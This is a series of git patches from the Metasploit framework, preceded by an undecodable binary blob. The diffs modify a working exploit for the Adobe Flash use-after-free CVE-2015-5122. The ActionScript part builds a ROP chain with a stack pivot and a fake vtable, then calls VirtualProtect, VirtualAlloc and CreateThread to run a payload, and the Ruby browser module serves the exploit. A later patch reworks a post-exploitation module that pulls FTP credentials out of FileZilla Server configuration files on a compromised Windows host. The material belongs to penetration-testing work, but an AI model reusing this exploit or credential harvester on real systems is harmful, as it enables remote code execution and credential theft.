zb2!u`9Dg%?iAtkXEYa|zx|V=xjcM*BFwV?$?-GF@1KE<4b;6}$NUEA?56Qwd7+elx z2x)8r-tBxMtQ@O2pT;5w?{|F`>;V`i4Sz@aba&|CJXVGM!nO5TJyt&G;Zm*a_}=k2 zBjPG-pryY733@s9_Cvw%Vq{dsnWB?-zvP=wZD_`kDG+)&aI^<kH*H+szOrEzc%#;3 z!8h37xdp6|ec?@!!Tg3bYgV*2HEbZhmZsG!*Q{vS(2|#;70~2hGQEu(H*7$d=6}`4 ztnzeh85$ymfo*-+jSWplwI9`T94M+<)~|1A&Lo<&qaxea3_`gr(&cGd1_qdxcF<Ij z4G>u4XzA<nIi8@PTDQS#d#}e@e8?qlw60o8Rzl>^&1qWKlAgKjPN2yMZJo$jantHm zpuyVEzE9912eIBX?uiWG!q=}}*MGioO*5#jd_c!zw%9lTFkZw9pN4ije;z{THOWlt zh`(i>4qRYl&@0{T!F3HQTk@ib25q5RL7E+$`;uSFBcDLoh9aJpV_P@0OJ8^7l<pzv znJ=Nb$F#0OwYCGPE4jCFDbi!Q`?~tKHFOS1qN>8waLp}=kojXFn<Iem$$zlgvexDn zE!GV?C#}sZTD0!2o=65^^poxDBM5Jz`s`bYk3)GY@k!yKr&=3Uv>xB$k%~8x8%wmV zIvRe>P(auUk1j#*bhMcuP$1^e?3FF6Hl}q65W8#{>k__|8#jQm%&uc^?-uBS*_B+h zs^RF?r44{9+tt+WL|o7p-hbM?DLm9aDC>;od?ZsiKJ<D#y=rNGdf@eVv~N?vs+MDr zVC#zJ_LTmf*B9B=6zlHkY8X?3$v`(AD|H5l^~MUGiF=f#mUS2ft6J!$#6b==<7=!q z^=6aZI{><FXg;nmC0wWMA?rwyCH3nY+83a4TbGsWP3vI7C^9IOGJlS4f&CW(*5a=< z7z>Uy7?1sz99Xt}7#diPr#-N2Z#l5C*SD-_LHD9TE(c^*96GM(Fc?O%gKO)Ttv*Jh z7ifX(qE4`6m&uD$AGX6LdX7UvXGhrHN+V?5#x-c$!j!<RG%g0W44{>>H>_(|wLZ9d z-O5BJlH6Q&#C8C5Ie%nR79mRp=%#GSVr0q~>;R~-jIrA&e3m_&lUdH(B1d#0w_dCe zoOGK#0FBy7cImP&6HL6j%Ln(y7K&gcG+N-bC4#4WF;+hB%if;Q7Y7rw!$H0ZQkLk+ z;AKhIxW&FZd1GviPn4qLUm#y%eGe$7R#hLU)~c%jM6an00DpN-<Y>@g1Ax06D0FN* zR1%#~RSjXotIGpmJp+UsKDBkgl2+7L)B-tPUtbHvCvF1?S|!n?ff@pT*HqOL(zLb) z5=3e>AR(#-F1@NMP!2+(06^|~RZRuHDynL$D=YM>x_bBr$}15vP*ICK1ga{kNCL~M z2asF%2WqS9A%E+zSwcwEfF1ys5!`ikH2@`+BNsZbt^kBrSJs264cg!!LaK&sCAa~9 zg#<>uLa#x{dcCHi7D(9|1gX|*0IaRkVVJ45Qm+ARTtKg>s|SMC-hd&{Z24!}a;X6> zze268N`B=G77od;oFme|a_kKkz*_CkokFSfjhz?RXMe)BONmft2o>Z;U^W7$5eSW7 zu4$oA%cWVSfKY3MS|`*+LOo2VM+kL^P#cBXEYzS-mkD)w!iLit*l-f+2B97;)MJHu zyiiXRYMW5MBGe9{b_q2q)R<8Fg(?B6>Sm$#2o>x`TZDQmbDxZltlP*Eoq=^*pt`#6 z98RBDn}2(Hl|^x^X$+-iE8BJouI;!^#r0KO|A*^qxW10-8@PrU#Azf>CvgUeGfC_q zaTbZQNt{FCToUJzIG@A?BrYUz5s7b-_!fzaNnAqW+axX}aT$rrNnAnVN)lI*xSGUw zNPL&X_egx7#5E+YC2<{z>q*=|;s+#tNa98kH-C}1nZ%Ds+(P2V>~_Ys-9gSf8LL@D zACPP@eK}SE1{Y)jXE!R~d^rZ3FUNqh8x?SNqXM)WC4wRVz>eVxx&nEO33t#PC}1#Z z74!s(K+Wt8dIQCbd3-@%U=q~kGlCg`DUA6tgPDP8U?a*3W(B5$|0p|{9l#M)R!%S{ zfPZ7C?A%~(0B1fqdBMB@4smkxgZY8^jO7&s3j#QF$uA5R2Fe&KC<+z@Di|xA5S$RG zg5j;=U~!<Du?Z7{69cu36;BFI3e+<;adL2SU@-%)bZ|=GaDXtU2B!v&WcacUP75?J zHnk*J5@=#<+VtS`Knr6fGlDY$OBtI!Gk-WU(8|~hf6yN|im{oqg0liE8S~E$&JL_* zY}TCMoWNQJa|6M-f%ObqgTd0kM#kpO3(gB1!&vG3;QYXGjLkEHX5a+I<}U~?2!t3j z7X}vw+8J9=7Ay;d8CzH$EDv-tR#p+L2t*hwuMAcOHZfLF6|4$$GguB%Sq*)$V}I5| zLuon?407Agffv%YU&Gk8U;Ef6`&Y+y{jNya^}EN}^}~0%0j?8a=EMZP)5Tk?&1L4r zaK4o9I-9q-&4L&#Bo(@E;B6kWC<Z!_37&^|o7XIk!K~3l?;m)Z&zuzV?PZgFAM&;g zb4n}&7PvAlRogPnX|c?`tR(YBwSO(koF2>C%VuQ#T5ZcVXU4K&H8=ZpwJpb-70ZDg ztems7wp?>gEO#%Pn|rg?mS>j6^7gWMd5>vr`R4psJ^*<6uV`%r=7LxOAbADf(%TBn zvRL6>R$h3I-d1E*#EM{Gspwg~ZGu@9!?#jk!drS<u~{7}-pgvRx7#++tbdK+^Qms) z4~(`+W_@hZUbbk`!$#X=b8!q`REJIegV8p{JUli92AQUOXtYf=kBs3XYsu9A8Ew<d zhS;>dtZ~{^qOHViik0kT%_ZL#ZPU$`*mQ8jOus?2%`lh7W`GxF#$%#wrr8>s2`-qK zyG5JdJSyhj%U1aRE!t+8D}Q77W?MDuVprR2b9HPs=vijp=4zW`u8qwBJ<FUYTy1mB z^|84)<(vB#S6ivMF;)t&TIp%-wt40;#6ffHyldTU^UdRkgXZ}854qb+^916cInjK{ z-L}9C5eH4%f{)y73(a=op!v$et2}LGW;j;1mvxl=)YDdOcE-?mx_`=__q0`*kyyoE z7Oi;4(^hG2ih-~yR(X-Pt;+0<Rncdq1~k{)cTTcy1Xa#nwpqCmt=_{(_VOFOxbY(| z?di0t)-7K8=mhmT&Nol8euD7U{oYVbs5V*~s*BbUdT4nKF`3i0jW!+Iv?o~;Lx+V9 zj~-qgS`=L*1?||xYJYIY-mv+zNPeD@F`%-2jR7ULYL+U?Kko{NVqCm$j93V*#(IVB zF534lSs6OOtwmDr*4ALgKF+Ghwsq@QNW-p)9SvL6@Bh=-aU3SKfsZ+Gz7Cn?*1kB@ zg9jt~%liK>@gmbpzgT_~A1Ymms!g>hkz#1VV}JIL`j|Qx?|*6eVyR&#VvX|!MG2<s zoO|di&(<>cwzoH|uWD~!xHZyg9F32b{=tM95P|2K@sTdNq&10n!xzj6*$%bar}az3 zklxZf+9yEU8*dog<iatdwDk$C)S)edeetF*mI}D3ds?yYflsPahLY^_&H~il2~63c zJnRc5LYpO#41b)OMh2l47$FkoFW8@ObV?>fBptZivT?p<7Jadtb)&y&-H33-7khqC za&4nirR9kXzZ_uB+0Tqf25%1#x?sOE)WNo9HE75NG|;jJrpRa0JJ8rHr&U55Ppibo zQF6~g4p9x?Kozv3mpYE1hF4ePP00&vkW|&@?I!`8;D6MYXQXv1t){NB+>kqL5ty2- zug%$~4e>QtT`70NHJsX17Vf`Rp^aQoxgRS%DzpKGw04zUm|K|dnuimWV#m@Iwv2J6 ztmT31b&8G?3pQ1-X@ZpqHcJ@urID*DVN?sFRv7idSS*agg>j@X8f*?%*pvn48~d%; zSjK)Y8GpQD&|~4u4HxJ#IrgKohBGo1UUa6yC!DD%F1LqGIfr?@#S<q@R@^hr#ERNK zJX3McMqsad?(obx06F1{hAEjQTd)vU8LkRkmAC@9YH-!zT7>H`Tu0zqf~yf%Gp-;j zg0@d)25ec8>Wj2)1&da&Zk5r5lOz>(t#Ia?)qg<Nt+Gia$$(ueShoVe8P=^}*UH1( zuxkbDRt3_!RUt8v!bT~}VntZ7vJ5hBW!v`7!kgc*?L93tfy`SKIWPK0sZvl3U{GvO zLp)t6c-+BE#x!(tCt$jP9Vg&E=9HAxpLcoSMDL(P(hrERMo6_@XM-=&gX}l|&O~^y z5r3yv2P#v*Ap12IrNWq;eVpNu#~C=k;B<bWdVv^l&MZiq5hn?PxqvEg`IyS>lL<yA z6FxA?(K!gU4<4ZNh79|ABEOB5gy}>s^*}+his6G3eEUE_vvNZkk*b!HAOo4|JDSsw zO=CxF_KpuuhNYQ<#6oR)4w}x{403LL$$zti&uCXdnU0BKjWk|ETU2(NISTnsMjAeE zA8|I(oW~Ecg=Vk(Que`|M-sI&ZWGPvCmy+p(?X!Egb|IgO|>*kf~?{%zNJ=C6$sE& zUE>^-S3x2Bpa>leTHTd6paVa(eI}k)SRi+c<jESrbL@R0dHk(ms|W{bK<ju((SKQ; z?9R3KW;8|9btB^(l{RO5J~zm=6)&*$*q<?q*o0zS6LC$#HDxNBFb%&YOnBvqw<=G( zxsUcOs0RnhgdS6XqS0vI0^iGmzL&vQC%>1A_xW6&XMZkJSEpPoe8*)ir9f_FDc~{; z!pk9i>QdY}%K6AyNlHPgwTgxVjDH~;ChqmpQ#ne%)gKbLTv3-)$isn~HLx>^JuPim zJZ}x!hN_)U9~VA-GRSmrIUR6IAwPWt;<G<}E*P^kOK<ZsXC0XsMoY31uld9R^XQg! z>#;38FE%tZ0OL#BwryJ&?&|M|U@_2JhF!p#vM9PeJ_gF<!l^IZ;|(mVS$|l*u(GPM zyh1th^Y(qp)nX@c^n3%$Z0uiW4D`cV*Y;p{PXvD%UEP~t^~n{3(I>Lu<m!&E@7~lG z>GExj40cDiH_O{aDTjIX8h3+4y@_@^&dm0-NJYCHtGhiBt-C!DZ$^7+#1q;N5OccK z)JzAt=S&7Pu;c>DDO{rJ$A67c(G`h?xAY9nA0PYxX%b8?xi(8gZI^^@5qCgZs)@qw z_hzEJbdvywX;0d3E~hjUBJnY@pViJG9!`8-?h`DnMJSDZie|SR-69l4S_V_whyon^ zeF(!bRpnK+FriA5R84(7HvemYL#)7x6MOn~T7XUfU`tinvV#j-@P8VNLeyaOSOpQN z2xv8gT&$^wALcArf2gjnOMIDqmfdj;Ck6pv6QHX})16*eA}70IdhfDK!LkI)CIhJ0 zKx27=Nf;2bx5kTwHl3h9;5A52f`nZZG(~EQu@UZGOv@!5KtwP8`F!4@b40?<DNT$M zVUmER#tg+f30MReJ%9DW%C-*{Pcx>$l4!<^;R40$hwm)-&c^JiEBSNS+)`ZgaLvbM z;#z=fA+9o9<+v(vRpP3`g{{`P)wpVK)#9qdRgY`Y;cV^^_&t&p7P+xl%>jbZi=_dq zoI*8PlYgi%cB*0um4E0tWD(UcY@j2^B~f3VB}#_E+-|au>VI)JVFl^M<c(;2d1NLv zgUdfMfr@maBIT3W(B1Z6PGy+Zy)>;e5Z%*so}1^R`CfCF;Zv2XU7FqvxN|+t#zLtl zwgd<_hw!KnUJb&hLu45B2-rYs4^2=N;8yd_QB3MBJ9ou2D@ZfEj#oj49y6?EHj=T` z1~M)O8LK<yv42+3^iO~bAL5B&qw6F>F=D+%ei`ulI{b#A%BH~++1GT!bW2TZXjex; z+HI?1lkcqrc)AU~glLka)a3gZ`ThpJ9{8e{Y5D~C{tmu?Un;+2)-!-oAt%q$QcW5& zr>9<{r(VZXw9STHdpliVGoi8oUouedN%&q&*vfAMhA2tMNs#y?Y@ZhaIhlf&j1?kY ZdL#MrXnhV2mY)9ZA!P~N{|`JHl_ussr&Is{ diff --git a/external/source/exploits/CVE-2015-5122/Exploiter.as b/external/source/exploits/CVE-2015-5122/Exploiter.as index a5e97e3f9e..ecbf56fac5 100755 --- a/external/source/exploits/CVE-2015-5122/Exploiter.as +++ b/external/source/exploits/CVE-2015-5122/Exploiter.as @@ -164,34 +164,22 @@ package var memcpy:uint = pe.procedure("memcpy", ntdll) var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) - var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, flash) - - Logger.log("add esp c ret: " + addespcret.toString(16)) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) // Continuation of execution eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main eba.write(0, "\x89\x03", false) // mov [ebx], eax - //eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret - - eba.write(0, "\x31\xC0", false) // xor eax, eax - eba.write(0, "\x87\xf4\xC2\x04\x00", false) // xchg esp, esi # ret 4 - + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + // Put the payload (command) in memory eba.write(payload_address + 8, payload, true); // payload // Put the fake vtabe / stack on memory - //for (var i:uint = 0 ; i < 0x100; i = i + 4) { - //eba.write(stack_address + 0x18000 + i, 0x41410000 + i) - //} - - eba.write(stack_address + 0x18020, xchgeaxespret) // Initial gadget (stackpivot) - eba.write(stack_address + 0x18000, xchgeaxesiret) // save original esp in esi - - eba.write(0, addespcret) - eba.write(stack_address + 0x18014, addespcret) - eba.write(stack_address + 0x18024, virtualprotect) - //eba.write(0, virtualprotect) + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) // VirtualProtect eba.write(0, virtualalloc) @@ -222,93 +210,12 @@ package eba.write(0, 0) eba.write(0, 0) eba.write(0, 0) - + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable - - Logger.alert("here we go " + main.toString(16) + " " + (stack_address + 0x18000).toString(16)) - exploit.hasOwnProperty('msf') - } - - private function do_rop_windows8():void - { - Logger.log("[*] Exploiter - do_rop_windows()") - var pe:PE = new PE(eba) - var flash:uint = pe.base(vtable) - var winmm:uint = pe.module("winmm.dll", flash) - var kernel32:uint = pe.module("kernel32.dll", winmm) - var ntdll:uint = pe.module("ntdll.dll", kernel32) - var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) - var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) - var createthread:uint = pe.procedure("CreateThread", kernel32) - var memcpy:uint = pe.procedure("memcpy", ntdll) - var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) - var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) - var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, flash) - - Logger.log("add esp c ret: " + addespcret.toString(16)) - - // Continuation of execution - eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable - eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main - eba.write(0, "\x89\x03", false) // mov [ebx], eax - //eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret - - eba.write(0, "\x31\xC0", false) // xor eax, eax - eba.write(0, "\x87\xf4\xC2\x04\x00", false) // xchg esp, esi # ret 4 - - // Put the payload (command) in memory - eba.write(payload_address + 8, payload, true); // payload - - // Put the fake vtabe / stack on memory - //for (var i:uint = 0 ; i < 0x100; i = i + 4) { - //eba.write(stack_address + 0x18000 + i, 0x41410000 + i) - //} - - eba.write(stack_address + 0x18020, xchgeaxespret) // Initial gadget (stackpivot) - eba.write(stack_address + 0x18000, xchgeaxesiret) // save original esp in esi - - eba.write(0, addespcret) - eba.write(stack_address + 0x18014, addespcret) - eba.write(stack_address + 0x18024, virtualprotect) - //eba.write(0, virtualprotect) - - // VirtualProtect - eba.write(0, virtualalloc) - eba.write(0, buffer + 0x10) - eba.write(0, 0x1000) - eba.write(0, 0x40) - eba.write(0, buffer + 0x8) // Writable address (4 bytes) - - // VirtualAlloc - eba.write(0, memcpy) - eba.write(0, 0x7f6e0000) - eba.write(0, 0x4000) - eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE - eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE - - // memcpy - eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't - eba.write(0, 0x7f6e0000) - eba.write(0, payload_address + 8) - eba.write(0, payload.length) - - // CreateThread - eba.write(0, createthread) - eba.write(0, buffer + 0x10) // return to fix things - eba.write(0, 0) - eba.write(0, 0) - eba.write(0, 0x7f6e0000) - eba.write(0, 0) - eba.write(0, 0) - eba.write(0, 0) - - eba.write(main, stack_address + 0x18000) // overwrite with fake vtable - - Logger.alert("here we go " + main.toString(16) + " " + (stack_address + 0x18000).toString(16)) - exploit.hasOwnProperty('msf') + exploit.toString() // call method in the fake vtable } - /*private function do_rop_windows8():void + private function do_rop_windows8():void { Logger.log("[*] Exploiter - do_rop_windows8()") var pe:PE = new PE(eba) @@ -372,9 +279,8 @@ package eba.write(0, 0) eba.write(main, stack_address + 0x18000) // overwrite with fake vtable - Logger.alert("here we go " + main.toString(16) + " " + (stack_address + 0x18000).toString(16)) exploit.toString() // call method in the fake vtable - }*/ + } private function do_rop_linux():void { From 115549ca75995c1c01532c1b8e52356f9057fad4 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Sat, 11 Jul 2015 00:42:59 -0500 Subject: [PATCH 0727/1013] Delete old check --- .../multi/browser/adobe_flash_opaque_background_uaf.rb | 6 ------ 1 file changed, 6 deletions(-) diff --git a/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb b/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb index cfdb5d99ff..7eaf6ff9f3 100644 --- a/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb @@ -86,12 +86,6 @@ class Metasploit3 < Msf::Exploit::Remote def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") - if target_info[:os_name] == OperatingSystems::Match::WINDOWS_81 && target_info[:ua_ver] == '11.0' - print_warning("Target setup not supported") - send_not_found(cli) - return - end - if request.uri =~ /\.swf$/ print_status('Sending SWF...') send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) From 6f0b9896e1e623387bc31a53945b6bc9f5fb5942 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Sat, 11 Jul 2015 00:56:18 -0500 Subject: [PATCH 0728/1013] Update description --- .../multi/browser/adobe_flash_opaque_background_uaf.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb b/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb index 7eaf6ff9f3..8edfff2ecc 100644 --- a/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb @@ -17,11 +17,11 @@ class Metasploit3 < Msf::Exploit::Remote This module exploits an use after free on Adobe Flash Player. The vulnerability, discovered by Hacking Team and made public on its July 2015 data leak, was described as an Use After Free while handling the opaqueBackground property - 7 setter of the flash.display.DisplayObject class. This module has been tested - successfully on: + 7 setter of the flash.display.DisplayObject class. This module is an early release + tested on: Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.203, - Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194, + Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194 }, 'License' => MSF_LICENSE, 'Author' => From 54fc7121316aed7e2e91518a367619ffcc3b2300 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Sat, 11 Jul 2015 01:33:23 -0500 Subject: [PATCH 0729/1013] Update Win 8.1 checks --- .../multi/browser/adobe_flash_hacking_team_uaf.rb | 2 +- .../multi/browser/adobe_flash_opaque_background_uaf.rb | 9 ++++++++- 2 files changed, 9 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb b/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb index 25c711c40a..be89cf6b82 100644 --- a/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb @@ -105,7 +105,7 @@ class Metasploit3 < Msf::Exploit::Remote def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") - if target_info[:os_name] == OperatingSystems::Match::WINDOWS_81 && target_info[:ua_ver] == '11.0' + if target_info[:os_name] =~ OperatingSystems::Match::WINDOWS_81 && target_info[:ua_ver] == '11.0' print_warning("Target setup not supported") send_not_found(cli) return diff --git a/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb b/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb index 8edfff2ecc..7903b4392f 100644 --- a/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb @@ -45,7 +45,8 @@ class Metasploit3 < Msf::Exploit::Remote :source => /script|headers/i, :arch => ARCH_X86, :os_name => lambda do |os| - os =~ OperatingSystems::Match::WINDOWS_7 + os =~ OperatingSystems::Match::WINDOWS_7 || + os =~ OperatingSystems::Match::WINDOWS_81 end, :ua_name => lambda do |ua| case target.name @@ -86,6 +87,12 @@ class Metasploit3 < Msf::Exploit::Remote def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") + if target_info[:os_name] =~ OperatingSystems::Match::WINDOWS_81 && target_info[:ua_ver] == '11.0' + print_warning("Target setup not supported") + send_not_found(cli) + return + end + if request.uri =~ /\.swf$/ print_status('Sending SWF...') send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) From 6eabe5d48c6f077ed945445afe06263afb05d96c Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Sat, 11 Jul 2015 01:36:26 -0500 Subject: [PATCH 0730/1013] Update description --- .../multi/browser/adobe_flash_opaque_background_uaf.rb | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb b/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb index 7903b4392f..60c6e7ef51 100644 --- a/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb @@ -21,7 +21,12 @@ class Metasploit3 < Msf::Exploit::Remote tested on: Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.203, - Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194 + Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194, + Windows 7 SP1 (32-bit), IE9 and Adobe Flash Flash 18.0.0.203, + Windows 7 SP1 (32-bit), Firefox + Adobe Flash 18.0.0.194, + windows 8.1, Firefox and Adobe Flash 18.0.0.203, + Windows 8.1, Firefox and Adobe Flash 18.0.0.160, and + Windows 8.1, Firefox and Adobe Flash 18.0.0.194 }, 'License' => MSF_LICENSE, 'Author' => From 1289ec8863f05dcf47f504b47b66234e25b7f26c Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Sat, 11 Jul 2015 01:38:21 -0500 Subject: [PATCH 0731/1013] authors --- .../multi/browser/adobe_flash_opaque_background_uaf.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb b/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb index 60c6e7ef51..1436edfa05 100644 --- a/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb @@ -31,8 +31,9 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'Author' => [ - 'Unknown', # Vulnerability discovered on HackingTeam info leak - 'juan vazquez' # msf module + 'Unknown', # Vulnerability discovered on HackingTeam info leak + 'juan vazquez', # Ported to Msf + 'sinn3r' # Testing and some editing ], 'References' => [ From 0ff73330907c339e1e06fffa3659c4c7fe731df2 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Sat, 11 Jul 2015 02:05:56 -0500 Subject: [PATCH 0732/1013] Lower the ranking for CVE-2015-5122 As an initial release we forgot to lower it. --- .../exploits/multi/browser/adobe_flash_opaque_background_uaf.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb b/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb index 1436edfa05..aea994314c 100644 --- a/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb @@ -6,7 +6,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = GreatRanking + Rank = GoodRanking include Msf::Exploit::Remote::BrowserExploitServer From f7ce6dcc9f4175b08813e52b3ffc2ca58110320e Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Sat, 11 Jul 2015 02:07:18 -0500 Subject: [PATCH 0733/1013] We agreed to Normal --- .../exploits/multi/browser/adobe_flash_opaque_background_uaf.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb b/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb index aea994314c..b4cf3de1e9 100644 --- a/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb @@ -6,7 +6,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = GoodRanking + Rank = NormalRanking include Msf::Exploit::Remote::BrowserExploitServer From c92d0d9df614a80077c46c6a64448df94d1dd96d Mon Sep 17 00:00:00 2001 From: g0tmi1k <have.you.g0tmi1k@gmail.com> Date: Sat, 11 Jul 2015 18:14:55 +0100 Subject: [PATCH 0734/1013] Fix FileZilla Server --- .../gather/credentials/filezilla_server.rb | 307 ++++++++++-------- 1 file changed, 171 insertions(+), 136 deletions(-) diff --git a/modules/post/windows/gather/credentials/filezilla_server.rb b/modules/post/windows/gather/credentials/filezilla_server.rb index 2d81a3929a..cfe83760cc 100644 --- a/modules/post/windows/gather/credentials/filezilla_server.rb +++ b/modules/post/windows/gather/credentials/filezilla_server.rb @@ -27,6 +27,7 @@ class Metasploit3 < Msf::Post ], self.class) end + def run if session.type != "meterpreter" print_error "Only meterpreter sessions are supported by this post module" @@ -36,11 +37,10 @@ class Metasploit3 < Msf::Post @progs = "#{session.sys.config.getenv('ProgramFiles')}\\" filezilla = check_filezilla - if filezilla != nil - get_filezilla_creds(filezilla) - end + get_filezilla_creds(filezilla) if filezilla != nil end + def check_filezilla paths = [] path = @progs + "FileZilla Server\\" @@ -55,26 +55,28 @@ class Metasploit3 < Msf::Post end session.fs.dir.foreach(path) do |fdir| - if fdir =~ /FileZilla\sServer.*\.xml/i - paths << path + fdir + ['FileZilla Server.xml','FileZilla Server Interface.xml'].each do|xmlfile| + if fdir.eql? xmlfile + pathtmp = File.join(path + xmlfile) + vprint_status("Configuration File Found: %s" % pathtmp) + paths << pathtmp + end end end if !paths.empty? - print_status("Found FileZilla Server") + print_good("Found FileZilla Server on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") print_line("") - paths << path + 'FileZilla Server.xml' - paths << path + 'FileZilla Server Interface.xml' - return paths end return nil end + def get_filezilla_creds(paths) - fs_xml = "" - fsi_xml = "" + fs_xml = "" # FileZilla Server.xml - Settings for the local install + fsi_xml = "" # FileZilla Server Interface.xml - Last server used with the interface credentials = Rex::Ui::Text::Table.new( 'Header' => "FileZilla FTP Server Credentials", 'Indent' => 1, @@ -122,11 +124,27 @@ class Metasploit3 < Msf::Post "SSL Key Password" ]) - file = session.fs.file.new(paths[1], "rb") - until file.eof? - fs_xml << file.read + lastserver = Rex::Ui::Text::Table.new( + 'Header' => "FileZilla FTP Last Server", + 'Indent' => 1, + 'Columns' => + [ + "IP", + "Port", + "Password" + ]) + + paths.each do|path| + file = session.fs.file.new(path, "rb") + until file.eof? + if path.include? "FileZilla Server.xml" + fs_xml << file.read + elsif path.include? "FileZilla Server Interface.xml" + fsi_xml << file.read + end + end + file.close end - file.close # user credentials password is just an MD5 hash # admin pass is just plain text. Priorities? @@ -135,29 +153,24 @@ class Metasploit3 < Msf::Post creds.each do |cred| credentials << [cred['host'], cred['port'], cred['user'], cred['password'], cred['ssl']] - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - + session.db_record ? (source_id = session.db_record.id) : (source_id = nil) service_data = { - address: ::Rex::Socket.getaddress(session.sock.peerhost, true), - port: config['ftp_port'], - service_name: 'ftp', - protocol: 'tcp', - workspace_id: myworkspace_id + address: ::Rex::Socket.getaddress(session.sock.peerhost, true), + port: config['ftp_port'], + service_name: 'ftp', + protocol: 'tcp', + workspace_id: myworkspace_id } credential_data = { - origin_type: :session, - jtr_format: 'raw-md5', - session_id: session_db_id, - post_reference_name: self.refname, - private_type: :nonreplayable_hash, - private_data: cred['password'], - username: cred['user'] + origin_type: :session, + jtr_format: 'raw-md5', + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :nonreplayable_hash, + private_data: cred['password'], + username: cred['user'] } credential_data.merge!(service_data) @@ 